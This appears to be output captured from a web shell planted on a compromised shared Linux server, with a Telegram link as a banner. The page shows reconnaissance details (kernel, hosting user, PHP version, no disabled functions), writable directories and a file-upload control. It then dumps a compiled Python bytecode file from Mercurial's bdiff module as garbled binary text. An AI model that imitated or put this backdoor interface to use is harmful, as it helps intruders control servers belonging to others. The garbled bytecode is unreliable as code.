https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/mercurial/pure/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/mercurial/pure/__pycache__/bdiff.cpython-310.pyc
o

�]Lb�	�@sPddlmZddlZddlZddlZdd�Zdd�Zdd�Zd	d
�Zdd�Z	dS)
�)�absolute_importNcCsHdd�|�d�D�}|r"|ddkr|��|S|ddd�|d<|S)z0like str.splitlines, but only split on newlines.cSsg|]}|d�qS)�
�)�.0�lrr�6/usr/lib/python3/dist-packages/mercurial/pure/bdiff.py�
<listcomp>sz!splitnewlines.<locals>.<listcomp>r���N)�split�pop)�text�linesrrr�
splitnewliness�rcCsJd}g}|D]�}|dur|}qd}|\}}}	||	}
||	}|\}}
}||}|
|}|
|krX|
||krW||
||||krW|d7}|
||krW||
||||ksAn,||
kr�|||kr�||
||||kr�|d7}|||kr�||
||||ksn|�|||	|f�|||
|||f}q|dur�|�|�|S)Nr�)�append)�a�b�blocks�prev�r�curr�shift�a1�b1�l1�a1end�b1end�a2�b2�l2�a2end�b2endrrr�_normalizeblockss6

$$��$$�
r"c
Cst|��d�}t|��d�}|s#d�|�}|o"t�dddt|��|Sg}dg}|D]
}|�|dt|��q*t�d||��	�}t
|||�}d}d}|D]/\}	}
}d�|||
��}|	|ksa|rt|�t�d||||	t|��|�|	|}|
|}qMd�|�S)NT�s>lllrr	)�bytes�
splitlines�join�struct�pack�lenr�difflib�SequenceMatcher�get_matching_blocksr")rr�s�bin�p�i�d�la�lb�am�bm�sizerrr�bdiff=s(
&

r7cCs<t|�}t|�}t�d||���}t|||�}dd�|D�S)NcSs&g|]\}}}||||||f�qSrr)rr0�j�nrrrr]s&zblocks.<locals>.<listcomp>)rr*r+r,r")rr�an�bnr1rrrrXs
rcCs4|rt�dd|�}|St�dd|�}|�dd�}|S)Ns[ 	
]+r#� s 
r)�re�sub�replace)r�allwsrrr�fixws`s�rA)
�
__future__rr*r=r'rr"r7rrArrrr�<module>s#

https://t.me/RX1948 - 2025